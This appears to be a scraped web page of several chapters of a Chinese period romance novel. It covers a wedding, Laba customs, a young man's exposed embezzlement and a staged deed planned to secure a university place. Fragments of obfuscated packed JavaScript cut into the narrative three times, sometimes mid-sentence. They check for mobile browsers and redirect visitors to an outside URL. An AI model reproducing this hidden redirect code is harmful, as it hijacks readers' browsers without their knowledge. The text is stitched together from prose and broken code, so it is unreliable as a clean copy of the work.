l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398765|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之十提升到百分之十四。百分之四的提升,这可是质的飞跃!今年的先进集体少不了。那还有什么吝啬的,福利票成打成打的往出送。 不管制糖厂那边怎么往上报,反正关百钺提前说了,他不要虚名,那老侯还能不明白嘛,这是想要实际的物资。是啊,人家父母都是科学家,两人加起来的工资听说都五六百了。可有啥用呢?没票,拿着钱你也买不着东西。 制糖厂上道,给了丰厚的物资,其他厂闻讯,都托老侯介绍,一时关百钺忙得脚不沾地,连接章清云下班的时候都没有了。 不接就不接嘛,章清云又不是什么都等着关百钺的小娇妻,以她的身手,单独上下班完全没问题。 这几日,文工团行动也迅速,找了个姚燕妮的B角。谁也没想到,姚燕妮的B角,会是苗盼儿。 姚燕妮生气,觉得这是章清云一伙人的阴谋,处处针对苗盼儿,不是孤立就是嘲讽的,苗盼儿在团里的形象一直是冷傲不怎么说话的,只当没看见。也就三天,苗盼儿的好日子就来了。 那日在剧场演出,是下午场,谁知道久等姚燕妮都不到,队员们都急疯了。台下小一千的观众等着呢,没办法,周文芳当机立断,派人去文工团找了章清云,高难度动作还是章清云来,其他让身为姚燕妮B角的苗盼儿上,算是锻炼了。 等姚燕妮急匆匆赶来,演出都开始半个小时了,周文芳没训人,反而是团长向党,冷冷看着姚燕妮,只问了一句:“跳舞在你看来,是工作,还是嫁人的阶梯?考虑清楚了再来上班。” 向党是老革|命了,当年根据地的时候就是童子军,后来艺校、文工团这么一路走下来,可以说,整个团里,就她分量最重,就连姚燕妮的母亲,都不能跟向党比。 姚燕妮红着眼圈,委屈啊。她不过是陪程卫东吃饭,一时忘记了时间,是多大的事儿嘛,团里不是准备了B角,章清云不是也跳下来了嘛!向团长说得好听,可她嫁得不好吗?首长的儿子,比她妈嫁得好多了,向团长怎么有脸说这个话的! 姚燕妮单方面闹起了脾气,也不是不训练,就是不再理团里的人,觉得那天大家背叛了她,没帮她说话。 都是骄傲的姑娘,谁还乐意热脸贴冷屁股?除了个别的,姚燕妮在团里的人缘渐渐不好起来,章清云、程紫鹃和苗盼儿,则渐渐成了团里的中心人物。 等陈静和邵华来关家,帮着处理酸菜长出的白毛时,关百钺和章清云的事业已经稳定下来。期间,关百钺帮着供暖公司,提高了煤炭的燃烧率,又帮助煤炭公司设计了一款粉煤机,避免煤炭工人长时间暴露在粉尘环境中,对煤炭工人的健康是有大好处的。 一时,关百钺成了青江市炙手可热的机械天才。 陈静和邵华来关家,一是帮忙,二呢,是告知袁家老二结婚的事。离上次回大杂院已经半个多月,两家终于商定,明日举办婚礼。 章清云眼睛都瞪圆了:“这么急?” 46. 婚礼腊八诸事忙 陈静嘘了一声:“少大惊小怪的,大家都明白的事儿,别声张。袁家也不知道怎么想的,非要通知你去,明儿正好周日,你俩有时间就去吧,就当回去吃个饭。” “行吧。”章清云耸耸肩,想让她看,那就去看嘛,她问,“那我和百钺要送什么礼?” 邵华哼一声,十分的不满:“我看那何玲就是想多收一份礼!当初你结婚,袁家可就送了一份礼,今儿巴巴说要请你过去吃酒,你俩还不得单独出一份?算盘打的可真精。” 陈静笑着安慰:“好了,大嫂。袁家当时就只送了一块油布,清云你俩也送油布就行了。家里有新的没有?没有的话不用拿,咱们家还有呢,明儿我出去接你,给你塞过去就行。” 章清云摆手:“不用,妈,有的。当时胡同里很多邻居都是送的油布,我俩挑一张就行。” 邵华气哼哼的:“挑那种织的稀稀的,好的才不给他家呢。” 章清云:“......”她以前都不知道还有油布这种东西。油布怎么产生的呢?因为这年头缺油啊。缺油,那炒菜当然不能可着油葫芦倒。怎么办呢?将油提前倒进碗里,用的时候,将油布轻轻沾湿,在锅底擦一擦,就算是放油了。 那她家根本就用不着啊。如今关百钺光是豆油,就往家带了二十斤,更别说猪板油了,她家从来不用油布的。 当然,这些陈静知道,没跟邵华说。不是信不着她,而是大伯娘|家人多,鸿星又小,正是学大人说话的年纪,不小心听去了,说给外人听,可就不好了。 四人处理了白毛,邵华介绍道:“放心,不是发霉了,酸菜积的时间长了,都这样,只要没变味儿就行。像这样,加点儿高度白酒就好了。” 留两人吃了晚饭,章清云和关百钺特意提上东西,送二人回家。也没进大杂院,远远看见两人进门,夫妻俩就回去了。 忙得很久不说八卦了,路上章清云将苗盼儿替代姚燕妮上场,姚燕妮单方面冷战的事儿说了,她十分的不解,问道:“这不是拿自己的事业开玩笑嘛!姚燕妮其实跳的还行,这样下去非毁了不可。不过盼儿好不容易出头......” 关百钺笑:“别担心,姚燕妮不傻,很快会想通的。再说,沈老爷子不是吃素的,知道了肯定会管。” 可不是,姚燕妮不好好工作,在文工团又是搞小团体,又是抵抗训练,被周文芳告到了老爷子面前。周文芳也是心疼姚燕妮,当初是她坚决将人招进来的,如今人成了这样,可不得找人家家长沟通嘛。 周文芳也没说姚燕妮恋爱了,只说了训练不积极,表演迟到,排挤B角的事儿,就这,也将老爷子气的不轻,嘴唇都哆嗦了。 “迟到!打仗要是迟到,那是要出人命的!你是演员,舞台就是你的战场,你告诉我你战场上迟到了!你说,你对得起前线等着你援助的战友袍泽吗?既然选择了进文工团,就不能做逃兵!要是让我知道你还消极抵抗,我就让文工团开了你,我这张老脸,向党还是给面子的!” 姚燕妮不敢顶撞姥爷,只得低头听训。最近几天她也看明白了,文工团不是部队大院,不是她说什么就是什么的地方。那就跳嘛,成不了台柱子,起码她还是芭蕾舞演员,是一个有工作的漂亮女人。 小夫妻俩还不知道姚燕妮已经想通了,翌日吃过早饭,揣上油布,去参加袁国伟和辛梅的婚礼。大冬天的,穿着大棉袄,很难看出辛梅怀孕没怀孕,不过每个来参加婚礼的人,都会往辛梅的肚子上看一眼,抬头不小心和别人对视,露出心照不宣的笑容。 何玲可不觉得丢人!她儿子拿下了市文工团的台柱子,还让台柱子揣着崽子进门,这是什么?这是她家儿子能干!何玲全程嘴巴都咧到耳朵根儿了,见到章清云和关百钺只送了一块油布,嘴角都没下来,可见有多开心。 两人来的晚,错过了之前结亲撒糖的环节,坐下没多久就开席了。袁家这次可算是下了本儿,十个菜的席面,大荤有红烧鸡块、红烧肉,小荤有骨头炖萝卜、黄豆芽炒肉丝、蚂蚁上树、麻婆豆腐,其他都是素菜。整整摆了十桌,比当初章清海结婚的席面还好,席数也多一张。 邵华撇嘴,小声嘀咕:“净盯着别人家。” 陈静小声安慰:“嘘,大嫂。你看袁家老大和老大媳妇儿,那脸臭的能熏人!” 邵华这才笑了:“袁国强能高兴才怪!当初娶孙美妮的时候,可没如今的排场。” 妯娌俩说着八卦,章清云却在想刚才邵华说的,盯着别人家的话。 袁家好像对章家格外关注?不只是大伯家,还有她家。估计辛梅找袁国伟接盘,其中就有章清云的缘故。约莫是听说袁家想找个出身文工团的媳妇儿,这才托媒人说和的。 也不是章清云多想,她就感觉吃着饭呢,新郎新娘那边时不时传来一道目光。这谁察觉不到啊,望过去吧,袁国伟全程笑得跟傻子似的,乐得找不着北,那就肯定不是他,只能是辛梅。 可章清云十分确定,不论是她,还是原主,都不认识辛梅。那目光里的不善甚至稍微带着的恨,从何而来? 确定了人选,章清云不再去想,自来无端的恶意还少吗?大不了兵来将挡水来土掩。吃完饭,大杂院闹腾着唱歌,章清云和关百钺不想呆了,明儿就是腊八,家里的粮食还不够呢,得去供销社买。跟父母说了一声,这就离开了。 路上,章清云将辛梅的恶意说了,关百钺拍拍她的肩,安慰道:“没事儿,自来只有庸人才没人妒,你这么优秀,辛梅嫉妒你不是很正常。” 章清云斜眼儿:“还挺会说话。再说一块钱的。” 关百钺就笑:“行,再说,如今一块钱可值钱,我得多说几句。我们家清云人美心善,连姚燕妮这种人都担心她没工作傍身,会被男人踹了......” 章清云不干了:“我什么时候担心姚燕妮了?我是可惜她的天赋!” “是是是。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408676|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 两人说说笑笑的,很快到了供销社。八宝粥嘛,最不常见的莲子、桂圆、芡实,关家都有,反而是红豆、绿豆这些不太够了。好在供销社里有,不多时,连带家里的存粮,凑够了八样,还买了新鲜的大蒜。 北方大多有腊八腌制腊八蒜的习俗,青江市自然也有。腊八蒜在小年、除夕那晚拿出来,是要配饺子吃的,算是一道必不可少的配菜。 在外面没多耽搁,不多时回了关家,两人忙活开了。如今单独过日子,过年过节的就得走礼。不需要很厚重,但应季的吃食得带着。就以腊八为例,明儿下班两人得到处去送粥,再接受别人家回赠的粥品。 如今的天气,粥提前熬好,在外面冻上,翌日下班煮开,吃晚饭的空挡,粥也就热了,两人没耽搁,开始四处去送礼。师家、洪家、沈家、高家是必去的,最后当然得回章家了,忙忙叨叨一晚上,重新到家的时候,已经是晚上十点了。 将所有粥都倒到一处冻起来,洗漱好,躺在床上,这才能说些闲话。 章清云八卦道:“姚燕妮今儿不一样了,应该是想通了,不消极对抗,开始好好训练了。不过对盼儿的态度还是一般。” 关百钺还在桌上画图呢,闻言头也不抬地笑道:“正常,苗盼儿存在的意义,就是取代姚燕妮,姚燕妮对她有好脸儿才奇怪呢。” 章清云也知道,这不是八卦嘛,她问:“你说她怎么突然想通了?” 关百钺笑:“沈家没笨人!姚燕妮想嫁得好,这没错,可她这次识人不清,要是沈老知道了,这事儿就成不了。” 章清云来了兴致:“程家背景如何?是不是故意扒上的沈家?” 关百钺放下笔,介绍道:“程家有些复杂。程卫东他爸叫程正道,家里原来是青江市的资本家,程正道呢,十几岁的时候,一心闹革|命,跟家里几乎断了往来。解放后回来,程家的成分已经定了,资本家。他的前途不可避免地受了些影响,就你们向团长的丈夫,原来职位还不如程正道呢,后来也慢慢超过了。” 他叹口气:“可能是受了刺激吧,运动刚开始露出苗头的时候,程正道就登报和家里断绝了关系,还成功举报并斗倒了好几个所谓的牛鬼蛇神,被红小将们簇拥着坐上了如今的位置。还把哥哥姐姐两大家子送到农场里改造,在所有人眼里,都是个狠人。” 章清云来了兴致,眼睛亮晶晶的,她道:“我怎么听着这么邪乎呢。你说啊,程正道这种经过这么多次运动都不倒台的人,难道不会留后手?不留后手的话,他也活不到现在吧。” 关百钺点点头:“这个我也想到了,特意去问了沈老,沈老说程正道确实暗中资助过农场里的人,算是半个隐藏在那群人里的自己人。这个话,我觉得姑且可以信一半。程正道接济别人是真,为自己谋好处也是真。将他哥哥、姐姐一群人安排到农场,就是存了私心的。不是纯粹的坏人,也不是纯粹的好人,总之很复杂很矛盾的一个人。” 47. 贪心事发好戏多 章清云嘿嘿嘿的笑:“那程卫东知道吗?他可是嚣张的很,听说拍过的姑娘,比季长善还多。” 关百钺就看着章清云,章清云笑着解释:“那什么,不是特意打听的,这几天大家都讨论程卫东,我就跟着听了一耳朵。” 关百钺轻哼一声,这才道:“程卫东那脑子,肯定不能跟他说啊。好在程正道盯得紧,有身份的女孩子都不让他碰,姚燕妮算是例外。估计程正道也是想到了沈老,觉得和沈家做亲家,以后无论世事怎么变,程卫东的命是能保下的。” “那你说,程卫东和姚燕妮能不能成?” 关百钺摇头:“不知道,沈老肯定不同意,但程正道要是想让事情成,估计也有办法。看两方的博弈吧,咱们人微言轻的,这事儿管不了。” 章清云打了个呵欠:“行吧,你赶紧休息,别画图了......” 话还没说完,人已经钻进被窝睡着了。睡得可真够快的,关百钺上前掖了掖背角,又去画图了。如今就连养猪场都来问他如何提高肉猪的出肉率了,关百钺听到这个要求的时候,都想扶额。他是造机器的,不是造肥料的,不过......好像大豆、甜菜压榨后的渣滓,是能喂猪的? 捞过小本本,将这点记上,明日出面给彼此签个线...... 正写着呢,关百钺突然停下来,拍拍脑袋,摇头失笑。都是人精,养猪场的厂长哪里是找他造肥料,分明是找他牵线的!估计是以前找过那边,人家没理,听说他帮着改造了技术,在厂子里算是极特殊的存在,这才托关系找上门的。 关百钺画完最后一笔,也掀开被子睡了过去。 翌日上班,给三方牵了线,算是了了养猪场的事儿。要不是看在猪肉的份儿上,他才不掺和这些呢。 晚上两人正吃饭,高母宋福急匆匆来请人,脸上的笑像是硬挤出来的:“百钺,清云,吃完了去家里一趟,有事儿跟你们说。”说完也不进屋,转身去了别人家。 关百钺皱眉,关门的时候想到了什么,低声道:“高武的事儿发了!” 章清云霎时坐直了身子:“那他和叶宛如谈恋爱的事儿瞒不住了吧?” 关百钺和章清云匆匆吃过晚饭,收拾了一番,即刻赶往高家。 高家客厅里,高武一脸青紫地跪在地上,高明脸上的怒气还在,脊背笔直,将手上的报纸抖得哗哗响。 宋福在单人沙发上坐着,一会儿看看儿子,一会儿看看丈夫,终是不敢求情。好不容易等到两人来了,忙使眼色,道:“百钺,清云,你俩来了?老高,让小武起来待客吧......” 高明气哼哼的:“待什么客!百钺是客人吗?跪着!” 吼完,这才低声对两人道:“百钺,带着你媳妇儿坐,等一会儿,安娜和爱军马上就到。” 这是还去沈家请人了。关百钺没说什么,领着章清云坐在沙发另一侧,刻意不去瞧高武。这家伙是个爱面子的,见了他不堪的一面,估计早晚被记恨上。高叔还是不了解这个儿子,这事儿就不能请人来,悄悄填了窟窿,把事儿了了,不就行了?今儿来这一出,高武改好的可能性又降低了。 胡思乱想了一阵儿,洪安娜和沈爱军不多时也到了。高明这才说了请四人来的原因:“也不瞒你们,这孽子工作不到半年,愣是贪污了两千块钱!我和他妈把钱补上了,也跟组织说明了情况,如今他的工作已经停了,在家反省。今儿请你们来,一是问问百钺,你那里如今一摊子事儿,能不能带带这小子?” 宋福忙接话:“就是,百钺,小武就是年纪小,还不懂事,其实本质上是个好孩子,真的。让他跟着你,有你看着,我们也放心......” 关百钺能接这个话吗?当然不能了。当初和高斌关系那么好,关百钺都没松口,如今当然不会答应了,不过他说:“高叔,高婶儿,我那里盯着的人多,进去人可能会给你们带来麻烦。您看制糖厂行吗?我帮那里提高了出糖率,过去说一声,你们再出面,估计是能办成的。不过就是......最好去不接触物资的岗位,这样小武也能好好的。” 宋福忙点头:“行,制糖厂好,制糖厂......” “好什么好。”高明打断媳妇儿的话,深深看了关百钺一眼,知道这小子是不想接手。心里叹口气,他的儿子他知道,估计是高武做过什么不好的事儿,百钺看不惯了。高明没接着说工作的事儿,而是继续道:“市政部门这个工作,小武是怎么得到的?他说是百钺你帮着安排的......” 关百钺和章清云均吃惊地望向高武,高武垂着头不说话。关百钺收敛表情,按住想说话的章清云,道:“是我介绍的,我当初考虑不周,没想到害了小武。” 这一番做派,高明心里能没数儿?他蹭地起身,拿起一边的皮鞭就往高武身上招呼:“让你不说实话,说,谁给你找的工作?” 宋福尖叫一声,忙上前拉高明,一边求助性地望向关百钺和沈爱军:“他爸,你好好说,怎么能冷不丁地打人......” 关百钺和沈爱军对视一眼,只得起身去拉高明,沈爱军开口道:“高叔叔,您消消气儿。刚才阿姨也说了,小武还小,今年还不到十八吧?” 宋福一叠声地道:“不到,小武生日晚,腊月二十九的生日,还不满十八呢。” 沈爱军一摊手:“这就是了,高叔叔,您别急,慢慢教。当初我和百钺像他这么大的时候,不也满青江市的溜达嘛,没个正形的,我爸和关叔也愁得什么似的。长大了就好了,你看百钺,结婚了,都想着养家了......” 宋福连连点头:“对,他爸,小武这是还没定性呢。咱们给小武说个媳妇儿,将来结婚生个孩子,就懂事儿了。别打了,小武知道错了,小武,快说话啊,说你知道错了。” 高武梗着脖子不开口,高明气得脸都红了,幸好鞭子被关百钺抽走,不然还得打人。章清云和洪安娜对视一眼,高父高母是真的不知道叶宛如的事儿,还是以这种方式向大家表明,叶宛如这个儿媳妇,他们不认? 是,叶宛如以前的名声是不好,可跟了高武以来,再也没听过‘刷夜’的事儿了。这种事儿,男人能原谅,能叫‘浪子回头’女人就不能?区别能有多大?! 章清云不想在高家呆了,关百钺自然能看出来,他想都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415733|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想,立刻将叶宛如的事儿和盘托出:“高叔,高婶儿,高武谈了个女朋友,叫叶......” “关百钺!”高武抬头,圆瞪着眼睛吼道,“我什么时候谈女朋友了,你可别瞎说!” 洪安娜蹭的起身,抬脚欲踢高武,被沈爱军眼疾手快地拦住:“安娜,消消气儿......” 洪安娜指着高武的鼻子,高声道:“你个高武,怎么说话呢,没大没小的,关百钺也是你叫的?!怎么,敢做不敢当是吧?人家叶宛如哪点配不上你了,你特么连承认都不敢?怎么,觉得如今出息了,不是当初求着人家给你安排工作的时候了?你要是个男人,就拿出个样子出来,别让大家瞧不起你!” 说着哼一声,扭头对着高父高母道:“高叔,高婶儿,百钺说的都是真的,这小子的女朋友叫叶宛如,是市政大院那边的。叶宛如她爸是卢平卢叔叔的秘书,您一查就知道。” 洪安娜是个炮仗脾气,洪家和沈家又不好惹,高武眼睛里都要蹿出火星子了,却不敢反驳。 洪安娜才不管他呢,说完了率先甩开沈爱军,蹭蹭蹭往外走,边走边说:“高叔,高婶儿,我就先走了,不妨碍您调查了。百钺,呆这儿干什么?走!” 沈爱军冲着大家笑笑,赶紧冲过去哄人。关百钺紧跟着起身,扶起章清云,苦笑道:“高叔,高婶儿,我俩也不耽误你们时间了。好好问,小武会说实话的。” 是,等人都走了,高武见瞒不住,只得说了,不过他是这么说的:“爸,妈,不是我要骗你们,实在是叶宛如这个人不地道。她当初看上的是百钺哥,可惜她名声不好,百钺哥看不上,加上当时百钺哥和嫂子正谈着呢,也不可能理叶宛如。 好几次这女人来找百钺哥,百钺哥不想跟她说话,就将人推给我了。我没办法啊,为了兄弟,只得硬着头皮招呼她。谁知道这女人这么水性杨花,又看上我了,还硬给我介绍了工作......” 高明冷冷打断道:“是叶宛如给你介绍的工作?!哼,你爸我不傻!安娜这姑娘虽然脾气不好,可从来不说谎话,你想清楚了再说!” 高武张了张嘴,良久才道:“那什么,是我俩谈上对象以后,我跟叶宛如说了一嘴,说想找个不在部队这边的工作。叶宛如就让她爸给我安排了这个工作,真的,我也没怎么求人。不过工作了才知道,叶宛如她爸不怀好意!贪污那些事儿可都不是我想做的,是她爸授意我这么做的。真的,爸,你知道的,我从小儿胆子就小,不可能贪污的。” 高明冷哼一声,儿子的话只有一半能信。叶宛如她爸肯定也贪了,但是,儿子绝对不清白!他重重地哼一声,还没开口问叶成才怎么威胁的呢,宋福就嚎上了:“他爸啊,这叶家的闺女可不能做咱家的媳妇儿!你听听那一家子,就没一个好人......” “闭嘴!”高明喝一声,怨怪地看了媳妇儿一眼。宋福其他方面还好,就是在小武的事儿上,总是犯糊涂。高明冷声道:“做错了事儿就得受惩罚,一周不能出门,今儿在书房跪一夜,不许给他送吃的!”最后一句是看着宋福说的,眼神儿严厉,宋福诺诺地哦了一声,也不知有没有入心。 48. 知怀孕惊多喜少 不过都要睡了,高明的气儿消的也差不多了,宋福又开始劝:“小武从小身子不好,跪一晚上可怎么得了。他爸,你可以不为儿子想,但你得想想将来。你想啊,咱俩将来能靠谁? 老大是出息,可出息的儿子是为国家养的,只有留在身边这个,才是咱们自个儿的儿子。我不管,过几天我可要请媒人给小武介绍对象,这要是病歪歪的,可没人上门。” 高明面无表情地躺下,宋福憋着嘴不再开口,只不过灯关了没十分钟,又小心翼翼地掀被子下床。高明翻了个身儿,心里冷哼一声,开始思考小儿子的去处。 时间拉回到三个小时前,关百钺和章清云从高家出来,小跑着追上洪安娜和沈爱军两人,安慰了洪安娜两句,关百钺说:“安娜姐,你还是这个性子。我都没生气,你急什么?和爱军哥结婚也快三个月了吧?小心把我侄子吓着。” 沈爱军悄悄冲关百钺竖起大拇指,也开口道:“你看,百钺都这么说了,你可上点儿心。人家如今是机械天才,四舍五入就是科学家了,科学家的话,咱们武夫可得听。” 洪安娜呸一声:“你才是武夫!我妈也是科学家,我可是有半个科学家的脑子的。” 沈爱军举手:“行行行,洪半科学家,咱们回家吧?” 洪安娜哼一声,对关百钺道:“以后少理高武那人!没点儿男人的担当,听见没有?” 关百钺笑:“听见了,姐,晚安。” 说笑着,四人告别。关百钺和章清云步行到家,半路上突然刮起北风,呼呼的,吹的脸生疼,不多时,鹅毛般的大雪像有人拿着水盆往下浇一样,哗啦啦的一股脑儿落下来。章清云第一次知道,原来下雪是有声音的。 两人拢了拢衣服,小跑起来,到家的时候,手上戴着手套呢,依然冻得通红。想说早点儿休息吧,谁知道事情一件接着一件,吴军竟然来了。 关百钺一拍脑袋,自然猜到了吴军的来意,他将人请进屋,笑着道:“别担心,你到钢铁厂也快半年了吧?” 吴军坐下嘿嘿嘿的笑:“年后就满半年了。” 关百钺敲了敲桌面,说:“行,你尽量申请过年时候也不休息,为将来的推荐造势。这给别人替班、过年过节主动留下来值班,也是一个拿得出手的点。我找几个兄弟,咱们一起做一场大雪抢救物资的戏码,你那个大学的推荐名额就妥了,行不行?” 吴军可不就是为这个来的,见关百钺没忘,他爽快道:“行,都听百钺哥的。那哥您安排好了跟我说,我全力配合您。” 关百钺点头,吴军又客气了两句,这才起身欲离开。想着外面雪大,关百钺特意取出一件围巾,递过去道:“围上吧,今儿降温,我也不留你了,早点儿回去。” 等人走了,章清云低声问:“这事儿不犯忌讳吗?”工农兵大学的推荐名额可是香饽饽,盯着的人多着呢,吴军他爸也就是个后勤主任,能借上力吗? 关百钺笑了笑:“别担心,吴叔叔就吴军一个儿子,会帮忙扫尾的。”再说,陶勇是个靠谱的,这事儿找他,准成。 章清云耸耸肩,起身去洗漱了。 大雪飘飘扬扬下了三天,等停的时候,已经能没过膝盖了。这几日上班,第一件事就是扫雪,好在文工团地方不大,不然什么事儿都不用做,净扫雪了。 这一日,章清云训练完,披上大衣,准备去吃午饭,谁知道半路上被人叫住。章清云回头看,没想到竟然是叶宛如。 章清云示意程紫鹃和苗盼儿先走,这才小跑过去,道:“你找我?” 叶宛如低头嗯了一声,良久才道:“你知道高武这几天去哪儿了吗?我已经三天没见他了。” 章清云想了想,问:“高武利用职务之便贪污的事儿,你知道吗?” 叶宛如愣了下,点头道:“知道啊,不过大家都这么做,小武做的不算过分......” 章清云的心直往下沉,皱眉道:“我跟高武不熟,不知道他去哪儿了。你再找别人问问吧。我还要吃饭呢,就不跟你说话了。”说着也不等叶宛如反应,转身就走。 叶宛如哎哎哎地叫了好几声,章清云都没有回头。也许是平民心态作祟吧,她就是看不惯这种占着职位,只知道利己,其他方面毫无作为的人。昨晚升起的那丝对叶宛如的同情,也在此刻烟消云散了。 叶宛如觉得莫名其妙,哼一声,嘀咕道:“有什么了不起!” 许是在其他地方没找到人吧,下班后,叶宛如又来了,正好堵住关百钺。章清云出来的时候,叶宛如正叉着腰询问呢:“是不是你把高武藏起来了?好啊,得亏高武之前给你说过那么多好话,你竟是不盼着他好......” 关百钺可不跟女人吵架,瞥见章清云来了,忙一脸委屈地望过去,那表情似乎在说,媳妇儿,她欺负我。 章清云那个暴脾气啊,忙跟着叉腰回嘴:“我说你怎么回事儿!中午的时候我不是说过了,不知道高武在哪儿,就是不知道,你怎么又来了!还难为关百钺,亏你干得出来!他如今每天不是这个厂就是那个厂的,哪儿有时间搭理高武?你搞搞清楚。” 叶宛如眼圈儿都红了,她高声:“那高武去哪儿了?我今天跑遍了青江市,苏联饭店、冰场、国营饭店、百货大楼,只要能去的地方我都去了,他都不在。你说,他能去哪儿?” 见状,章清云倒是静了一瞬,望向叶宛如的目光充满了疑惑,她说:“你到底找高武做什么?有急事儿的话跟我们说说,见到他了我们也能帮你传个话。” 叶宛如冷笑一声,擦了擦眼角,扭身就走,声音隐隐飘来,她说的是:“不用你们传话,没事儿。” 章清云和关百钺对视一眼,难道贪污的事儿牵连叶成才了?等人走远了,关百钺低声道:“行了,这事儿说到 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章清云张了张嘴,都不知道说什么了。谁说这个年代淳朴的,那是他们见得少!出于对小生命的尊重,章清云终于说了实话:“高叔叔高阿姨知道高武贪污的事儿了,他这几天应该被关在家,哪儿也去不了。你有事儿就去他家找他。” 叶宛如嗯了一声,转身时问道:“他爸妈不喜欢我吧?” 章清云没有回答,叶宛如哼了一声:“不喜欢我,我还不喜欢他们呢。老娘可不上赶着嫁到这种人家,不够受罪的。” 见章清云还是一副没见过世面的样子,叶宛如乐了,郑重道:“是不是觉得我该哭?或者该默默把孩子生下来,然后抚养孩子凄苦地过一辈子?” 她昂起头,十分的不屑:“呸!老娘是喜欢高武,可老娘更喜欢自己!什么孩子不孩子的,都是放屁,什么都没有老娘重要。”说着利落地转身,雄赳赳气昂昂地离开,和刚才眼圈微红的柔弱女子判若两人。 章清云目瞪口呆,而后哈哈哈的笑,前仰后合的。不管别人怎么说,叶宛如在世人的眼里又是多么不堪,这一刻,章清云觉得,叶宛如最起码,是懂得自己要什么的人,是她章清云欣赏的人。 有邻居路过,笑着问:“哟,百钺媳妇儿,这是笑什么呢,这么开心?” 章清云摇摇头,回道:“没什么,想到工作的事儿了。林婶儿,你这是吃完饭出来溜弯儿?” 林婶儿点点头:“吃完了饭没事儿做嘛,你这是才下班啊?真是够辛苦的。” 章清云:“没事儿。林婶儿好精力,那我回去做饭了。” 笑着和见到的邻居们打招呼,章清云很快回到家,正淘米准备煮稀饭呢,关百钺回来了。章清云笑着吐槽:“科研大院真奇怪,电费还要另外交。钢铁厂那边,每月从工资里扣就行,根本不用跑这一趟。” 49. 大院八卦与照相 如今住房都是福利性质的,水电费用很低,像是以前在大杂院,水电费加起来,一个月两块钱,直接从工资里扣除。科研大院这边,章清云也是前几天在家,听到大家说交电费的事儿,才知道还要另外去交。 关百钺边换鞋边道:“懂财务的人少,子弟又多,这不是想着办法安置嘛,以前也是直接扣的。不说了,今儿准备做什么?” 进了厨房,章清云才低声将叶宛如又来找她的事儿说了,关百钺啧啧两声:“这个高武啊,总是招惹不该招惹的人。估计叶宛如醒过味儿来以后,不会放过高武的。” 章清云也这么觉得,两人对视一眼,都有些看热闹不嫌事大的意思,双双笑出声儿。 吃晚饭的时候,章清云问:“快过年了,要往基地那边寄什么年礼,你想过没有?” 关父关母虽然不在家,但两人不缺钱,时不时发电报过来,存在感那是足足的。快过年了,见不到人,礼物得到啊。 关百钺打包票:“放心,我会准备的。爸妈那里、大伯家、三河大队那边,我会一起准备的,别操心。” 章清云出主意:“要不要去黑市做做样子?你这哪儿也不去,就拿出那么多的物资,大家会怀疑的。” 关百钺就笑:“行了,我知道。来,吃点儿虾皮儿,大虾仁搞不到,只能托关系买了虾皮儿,不过蒸蛋羹也不错。” 这是嫌弃她乱管事儿了?章清云哼一声。关百钺哄道:“我不是不想你操心嘛。行,我说。制糖厂、养猪场、榨油厂、煤矿厂,还有粮油公司,你数数,年货会少吗?大家都知道我帮着这些厂子优化了设备,给些东西又不过分。不过......” 关百钺肯定道:“你说的有道理,有些事儿能做,大家也都心知肚明,但不能认为理所当然,黑市肯定是要去的,放心吧。” 两人刚结婚,相处习惯肯定要磨合,像这种一方怕另一方操心就不说的事儿,肯定有,不过想来经此一事,关百钺会慢慢改掉这个习惯。 章清云没有揪着这点不放,反而两眼放光:“那能带我去黑市吗?我还没去过呢。好不容易来一次,总得见识见识吧。” 关百钺有些犹豫:“黑市可危险......” 章清云就做出健美先生的标准姿势,举手臂秀肌肉的,看得关百钺直笑:“行,带你去。快别这个样子了。” 也不知道触动关百钺的哪个神经了,弯着身子笑了十分钟,章清云晚饭都要吃完了,他才勉强直起腰,继续吃晚饭。 章清云边喝稀饭边道:“笑够了?吴军的事儿办好了吗?” 关百钺点头:“跟陶勇说了,年后初十吧,那天都上班了,也好造势。” 章清云不解:“你准备怎么做?找人先假扮抢物资的,让吴军挺身而出?然后再让吴军大雪天去找人抢救物资?” 关百钺哈哈哈的笑:“我家清云就是聪明。” 章清云疑惑:“这么简单的计划,不会被识破?” 关百钺耐心解释:“不会,你以为出车很安全吗?路上抢道的可不少。而且就算识破了又如何,吴军又不傻,和他一起出车的,肯定是有利益瓜葛的,不会不帮着他说话。再说,陶勇那边肯定是找一些在钢铁厂上班,需要转正的临时工,到时候有这个抢救物资的功劳,也能顺利转正。大家都从中获利,对双方都有利的法子,会守口如瓶的。” 年关将近,周日两人没事儿,将这一年的年货领了。如今的年货都是什么东西呢?一人三两瓜子儿、半斤白糖、八斤白菜、半斤猪肉,面粉只有一斤,余下是两斤的玉米面。 两人加起来才一斤的肉,够干什么的。好在还有内部的福利票,两人去领了六斤的大骨头、两斤排骨、四斤肥肠、一斤猪板油、一斤猪肝和一斤猪口条。虽是福利票,可也不能太明目张胆,内部供应的也都是下脚料。 不过这也不错了,大骨头不像市场上似的,剔得干干净净,稍微仔细地剔一剔,还能剔出一二两的肉,这么凑合着,又能多出一斤的肉。两人将肉分成四份,趁着天黑,送去章家一份。 